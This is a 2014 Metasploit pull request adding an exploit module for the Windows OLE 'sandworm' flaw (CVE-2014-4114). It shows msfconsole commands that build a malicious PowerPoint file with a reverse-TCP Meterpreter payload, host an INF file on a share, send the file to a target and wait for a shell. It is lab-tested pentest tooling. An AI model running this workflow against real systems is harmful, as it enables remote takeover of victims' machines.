rapid7/metasploit-framework — pull request #4044 by jvazquez-r7 (2014-10-17 19:12:14+00:00)
Title: Add module for CVE-2014-4114, aka sandworm

We have worked with @wchen-r7 on a fileformat module for the sandworm attack. Tested with windows 7 SP1 / Office 2013. On our experience, expect a hard time when opening it with office 2010.

Verification
----------

- [ ] Generate the files with the module. The UNCPATH must be the UNC Path where the payload and the malicious inf file will be stored (accessible for the target):

```
msf > use exploit/windows/fileformat/ms14_060_sandworm
msf exploit(ms14_060_sandworm) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(ms14_060_sandworm) > set lhost 172.16.158.1
lhost => 172.16.158.1
msf exploit(ms14_060_sandworm) > set UNCPATH \\\\172.16.158.134\\public
UNCPATH => \\172.16.158.134\public
msf exploit(ms14_060_sandworm) > exploit

[*] Creating the EXE payload...
[*] Creating the INF file...
[*] Creating 'msf.ppsx' file ...
[+] msf.ppsx stored at /Users/jvazquez/.msf4/local/msf.ppsx
[+] Sggb.gif stored at /Users/jvazquez/.msf4/local/Sggb.gif, copy it to the remote share: \\172.16.158.134\public
[+] goPD.inf stored at /Users/jvazquez/.msf4/local/goPD.inf, copy it to the remote share: \\172.16.158.134\public
```

- [ ] Send msf.ppsx to the target
- [ ] Put JvMU.gif and CPVj.inf on the remote shared folder at \\172.16.158.134\public (or whatever you have configured with UNCPATH)
- [ ] Set a handler with the selected payload
- [ ] Send the ppsx to your target and wait for a session on the handler